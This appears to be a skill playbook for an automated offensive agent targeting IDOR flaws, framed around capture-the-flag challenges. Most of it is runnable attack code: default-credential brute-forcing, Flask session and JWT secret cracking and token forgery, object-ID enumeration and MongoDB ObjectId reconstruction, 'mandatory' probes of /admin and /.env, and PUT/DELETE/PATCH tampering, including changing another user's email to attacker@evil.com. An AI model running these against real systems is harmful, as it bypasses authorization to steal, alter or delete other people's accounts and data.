| name | exploit-idor |
| description | Insecure Direct Object References (IDOR) — authorization bypass through predictable object references (sequential IDs, UUIDs, filenames, encoded IDs). Covers horizontal/vertical privilege escalation, ID enumeration, HTTP method tampering, and JWT sub claim manipulation. |
| metadata | {"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"idor, insecure direct object reference, authorization bypass, access control, object reference, id enumeration, sequential id, uuid guessing, horizontal privilege, vertical privilege, broken access control, parameter tampering, user id, object id"} |
Insecure Direct Object References (IDOR)
Exploits missing or inadequate authorization checks on object references (IDs, filenames, GUIDs), allowing access to other users' resources.
Default Credentials Fast-Path (when default_credentials is a co-tag)
When default_credentials appears alongside idor in the challenge tags, attempt login FIRST before any IDOR probing:
for creds in "admin:admin" "admin:password" "test:test" "admin:123456" "user:user" "admin:admin123"; do
user="${creds%%:*}"; pass="${creds##*:}"
resp=$(curl -s -c /tmp/cookies.txt -X POST "http://<TARGET>/login" \
-d "username=$user&password=$pass" -w '\n%{http_code}' 2>/dev/null)
code=$(echo "$resp" | tail -1)
[ "$code" = "200" ] || [ "$code" = "302" ] && echo "HIT: $user:$pass ($code)" && break
done
A valid session reduces all subsequent attack surface to authenticated endpoints — this is the fastest path to flag for dual-tag challenges. Only proceed to IDOR enumeration after confirming or exhausting default credentials.
Flask Session Cookie — SECRET_KEY Brute-Force Fast-Path
When to use: After logging in (default creds), if the session cookie starts with eyJ (base64) and contains a . separator without a JWT alg header — it is a Flask itsdangerous cookie. If modifying your own ID in the cookie to another user's ID causes a signature rejection, brute-force the SECRET_KEY IMMEDIATELY before doing any endpoint enumeration.
Evidence pattern (real-world evidence): test:test → user_id=10032 in Flask session → IDOR target at /order/<id>/receipt → cookie rejected when manually modifying user_id → SECRET_KEY your_secret_key found via flask-unsign → forged cookie with target user_id → flag.
pip install flask-unsign -q 2>/dev/null
flask-unsign --decode --cookie '<SESSION_COOKIE_VALUE>'
flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt --no-literal-eval
for secret in "secret" "secret_key" "your_secret_key" "flask_secret" "mysecret" "password" "admin" "changeme" "dev" "production"; do
result=$(flask-unsign --unsign --cookie '<SESSION_COOKIE_VALUE>' --secret "$secret" 2>/dev/null) && echo "SECRET: $secret" && break
done
flask-unsign --sign --cookie "{'user_id': <TARGET_ID>, 'username': 'admin'}" --secret '<RECOVERED_SECRET>'
curl -s "http://<TARGET>/order/<TARGET_ID>/receipt" -H "Cookie: session=<FORGED_COOKIE>" -o /tmp/idor_resp.txt
grep -iE 'secret|token|key|cred|flag' /tmp/idor_resp.txt
Decision rule: If the flask-unsign crack against rockyou is not yielding the secret (no progress output), pivot to endpoint enumeration with your own valid session (horizontal IDOR without cookie forgery may still work).
Detection Strategy
curl -s 'https://<TARGET>/api/user/1001/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_own.txt
curl -s 'https://<TARGET>/api/user/1002/profile' -H 'Cookie: session=<USER_A_SESSION>' -o idor_other.txt
diff idor_own.txt idor_other.txt
curl -s 'https://<TARGET>/api/admin/users' -H 'Cookie: session=<USER_SESSION>' -o idor_vertical.txt
for id in $(seq 1 100); do
STATUS=$(curl -s -o /dev/null -w '%{http_code}' "https://<TARGET>/api/document/${id}" -H 'Cookie: session=<SESSION>')
echo "ID $id: $STATUS"
done > idor_enum.txt
Common IDOR Patterns
| Pattern | Example | Test |
|---|
| Sequential integer IDs | /api/invoice/1001 | Increment/decrement ID |
| UUID/GUID | /api/doc/550e8400-e29b-41d4-a716-446655440000 | Capture other UUIDs from responses |
| Filename | /download?file=report_userA.pdf | Change username in filename |
| Encoded ID | /profile?id=MTAwMQ== (base64) | Decode, modify, re-encode |
| Hashed ID | /api/user/5d41402abc4b | Check if MD5/SHA1 of predictable value |
| JWT sub claim | {"sub": "1001"} | Modify sub claim (if no signature check) |
Predictable ID Generation Patterns (when IDs look random but encode account-derivable data)
Some IDs that LOOK random (long integers, hex strings, timestamps) are deterministic transformations of public data — registration order, account email, signup timestamp, or the user's own ID + a fixed offset. When the target says "find the first user" / "access account #1" / "view the earliest registered user," the bypass is usually NOT brute-force enumeration but RECONSTRUCTING the ID generator from observed samples.
Always collect THREE observed IDs first (yours + at least two others from public lists, comments, or response leaks). Then check each pattern:
MY_ID="1734567890123"
PEER_A="1734567891456"
PEER_B="1734567894892"
echo "$((PEER_A - MY_ID))"
echo "$((PEER_B - PEER_A))"
date -d "@$((MY_ID / 1000))" '+%Y-%m-%d %H:%M:%S'
python3 -c "
mid = int('$MY_ID')
ts_ms = (mid >> 22) + 1288834974657 # Twitter snowflake epoch offset
import datetime
print(datetime.datetime.utcfromtimestamp(ts_ms / 1000).isoformat())
"
for known_email in "admin@target.com" "test@target.com" "first@target.com"; do
for algo in md5 sha1 sha256; do
HASH=$(echo -n "$known_email" | openssl dgst -$algo | awk '{print $2}')
echo "$algo($known_email) = $HASH"
done
done
echo "$MY_ID" | base64 -d 2>/dev/null
echo "$MY_ID" | xxd -r -p 2>/dev/null | head -c 200
python3 -c "import base64, zlib; print(zlib.decompress(base64.b64decode('$MY_ID')))" 2>/dev/null
Decision rule: once one pattern aligns, derive the target ID directly. Examples:
- Timestamp-based + "first user" challenge → compute
min(observed_ids) and walk backwards by typical signup gap to find ID #1's timestamp; or query the app for the earliest known created_at and reconstruct.
- Sequential counter + "first user" → use
1, 0, -1 (off-by-one) and the smallest leaked ID minus its observed offset.
- Snowflake + "specific account at known time" → compose timestamp_ms backwards:
(target_ts_ms - epoch) << 22 | sequence.
- Hashed public value → enumerate known emails/usernames through the hash function; the value that hashes to a known peer ID confirms the algorithm.
Anti-pattern: brute-forcing sequential integers when the ID space is 13+ digits — at 1 req/sec the search exhausts the budget before reaching meaningful candidates. Always check pattern alignment first.
MongoDB ObjectId Reconstruction
MongoDB ObjectIds look random but are a deterministic composite: [4B timestamp][3B machine identifier][2B process id][3B counter]. When the target app uses ObjectIds in URL paths (/profile/<oid>, /users/<oid>/data, /api/doc/<oid>) AND leaks ANY timing or ordering info about peer accounts, you can reconstruct a target ObjectId without enumeration:
target_oid_hex = <target_timestamp_sec_hex_4B> + <my_machine_pid_hex_5B> + <target_counter_hex_3B>
The middle 5 bytes (machine+pid) are SHARED across every ObjectId generated by the same mongod process — extract them once from your own observable ObjectId (registration response, profile URL, API response).
Information leak surfaces that complete the formula:
| Leak surface | Provides |
|---|
/starttime, /about, /info, "Member since" page | Target account's creation Unix timestamp (4B portion) |
Registration response with distance / offset / you are N from target | Counter offset from your own counter to target's (3B portion) |
| Sequential signup observation (register 2-3 accounts back-to-back) | Counter increment per second + base counter at known timestamp |
| Object listing with creation timestamps (admin panels, audit logs) | Direct counter samples |
Concrete reconstruction:
MY_OID="65f4a3b2c1d2e3f4a5b6c7d8"
MY_TS_HEX="${MY_OID:0:8}"
MID_PID_HEX="${MY_OID:8:10}"
MY_COUNTER_HEX="${MY_OID:18:6}"
TARGET_TS_SEC=$(curl -s "http://<TARGET>/starttime" | grep -oE '[0-9]{10}')
DISTANCE=$(grep -oE 'distance.*[0-9]+' /tmp/register_resp.txt | head -1 | grep -oE '[0-9]+$')
TARGET_TS_HEX=$(printf '%08x' "$TARGET_TS_SEC")
MY_COUNTER_DEC=$((16#$MY_COUNTER_HEX))
TARGET_COUNTER_DEC=$((MY_COUNTER_DEC - DISTANCE))
TARGET_COUNTER_HEX=$(printf '%06x' "$TARGET_COUNTER_DEC")
TARGET_OID="${TARGET_TS_HEX}${MID_PID_HEX}${TARGET_COUNTER_HEX}"
curl -s "http://<TARGET>/profile/${TARGET_OID}"
Decision rule: when ANY of (a) app uses ObjectId in URL paths, (b) self-observable ObjectId is in hand, (c) target timestamp is disclosed, (d) counter offset is disclosed or derivable from sequential registration — compute the target ObjectId directly. Skip enumeration; 24-hex-char keyspace is computationally unreachable but algorithmically trivial.
JWT / Session Signature Cracking (when forged tokens are rejected)
If you decoded a JWT/session token, modified a claim, and the server rejected the modified token (signature invalid), the next step is NOT manual endpoint enumeration — it is signature secret recovery. With the secret you can sign a valid privesc'd token in one operation.
Flask session (itsdangerous)
pip install flask-unsign 2>/dev/null
flask-unsign --decode --cookie '<COOKIE_VALUE>'
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/flask-session-cookie-bruteforcer.txt
flask-unsign --unsign --cookie '<COOKIE_VALUE>' --wordlist /usr/share/wordlists/rockyou.txt
flask-unsign --sign --cookie "{'user_id': 1}" --secret '<RECOVERED_SECRET>'
Generic JWT (HS256)
jwt_tool '<JWT>' -C -d /usr/share/wordlists/rockyou.txt
echo '<JWT>' > jwt.hash
hashcat -m 16500 jwt.hash /usr/share/wordlists/rockyou.txt --force
python3 -c "import jwt; print(jwt.encode({'user_id':1,'sub':'admin'}, '<SECRET>', algorithm='HS256'))"
Decision rule (MANDATORY)
| State | Next action |
|---|
| JWT decoded, claim modified, server rejected | Crack signing secret FIRST (flask-unsign or jwt_tool against a common-passwords wordlist) before manual enumeration |
| Crack succeeds | Forge token with desired claims, retry IDOR — done |
| Crack fails (no wordlist hit, RS256/asymmetric) | THEN fall back to endpoint enumeration / IDOR via form parameters |
| RS256 detected | Try alg: none confusion (jwt_tool -X a) before assuming uncrackable |
Why this rule exists: JWT/session signature validation is often implemented with weak secrets that crack against a common-passwords wordlist immediately. Spending the dispatch on manual endpoint guessing while the signing secret is one wordlist run away is a critical misallocation.
Post-Forgery Endpoint Probe (MANDATORY after JWT forgery succeeds)
After successfully forging a JWT (alg:none, key confusion, or cracked secret), immediately probe these endpoints with the forged token as BOTH Bearer header and cookie — do not assume the flag is at a single path:
FORGED="<FORGED_JWT>"
BASE="http://<TARGET>"
for path in /admin /api/admin /api/users /dashboard /.env /api/flag /admin/flag /api/admin/flag; do
for method in GET POST; do
STATUS=$(curl -s -o /tmp/jwt_probe.txt -w '%{http_code}' -X "$method" \
-H "Authorization: Bearer $FORGED" -b "token=$FORGED" "$BASE$path")
echo "$method $path: $STATUS"
[ "$STATUS" = "200" ] && grep -iE 'secret|token|key|cred|flag' /tmp/jwt_probe.txt | head -3 && break 2
done
done
for claims in '{"sub":"admin","role":"admin"}' '{"sub":"admin","is_admin":true}' '{"sub":"admin","admin":1}'; do
echo "Try claims: $claims"
done
When to use: Challenge tagged jwt + privilege_escalation. After forgery, run this block before any other enumeration — the flag endpoint is often /.env, /api/flag, or /admin/flag, none of which appear in standard IDOR enumeration wordlists.
Endpoint Enumeration After ID Discovery
Finding the valid object ID is only step 1. The flag/sensitive data may live at a non-obvious path under that ID. After confirming a valid ID exists, enumerate endpoint paths before giving up.
Common endpoint patterns (try all with the victim's valid ID):
TARGET_ID=10032
SESSION="<YOUR_SESSION>"
BASE="https://<TARGET>"
for path in \
"/api/users/$TARGET_ID/profile" \
"/api/users/$TARGET_ID/data" \
"/api/users/$TARGET_ID/flag" \
"/api/users/$TARGET_ID/receipt" \
"/api/users/$TARGET_ID/invoice" \
"/api/users/$TARGET_ID/orders" \
"/api/users/$TARGET_ID/documents" \
"/api/users/$TARGET_ID/files" \
"/user/$TARGET_ID/profile" \
"/user/$TARGET_ID/flag" \
"/user/$TARGET_ID/receipt" \
"/download/$TARGET_ID" \
"/invoice/$TARGET_ID" \
"/receipt/$TARGET_ID" \
"/admin/user/$TARGET_ID" \
"/v1/users/$TARGET_ID" \
"/v2/users/$TARGET_ID"; do
STATUS=$(curl -s -o /tmp/idor_resp.txt -w '%{http_code}' "$BASE$path" -H "Cookie: session=$SESSION")
echo "$STATUS $path"
if [ "$STATUS" = "200" ]; then
echo " >>> HIT: $(cat /tmp/idor_resp.txt | head -c 200)"
fi
done
Dirsearch against a known-valid ID prefix (when path structure is unknown):
python3 -m dirsearch -u "https://<TARGET>/user/$TARGET_ID/" \
-e json,txt,html --no-color -q -t 5 \
--cookie "session=<SESSION>" 2>&1 | grep -E "^\[" | head -30
Decision flow:
- Confirm victim's ID exists (200 on any endpoint with victim's session) → proceed
- Try your ID on all enumerated paths → note which paths return your data
- Replace your ID with victim ID on each working path → check for 200 + different data
- If no paths return 200 for victim ID: run dirsearch against
/user/<victim_id>/ and /api/user/<victim_id>/
- FLAG often lives at
/user/<id>/.env, /api/flag, or embedded in profile JSON — check response bodies carefully
IDOR in Different HTTP Methods
curl -s -X GET 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PUT 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"role":"admin"}'
curl -s -X DELETE 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>'
curl -s -X PATCH 'https://<TARGET>/api/user/1002' -H 'Cookie: session=<SESSION>' -d '{"email":"attacker@evil.com"}'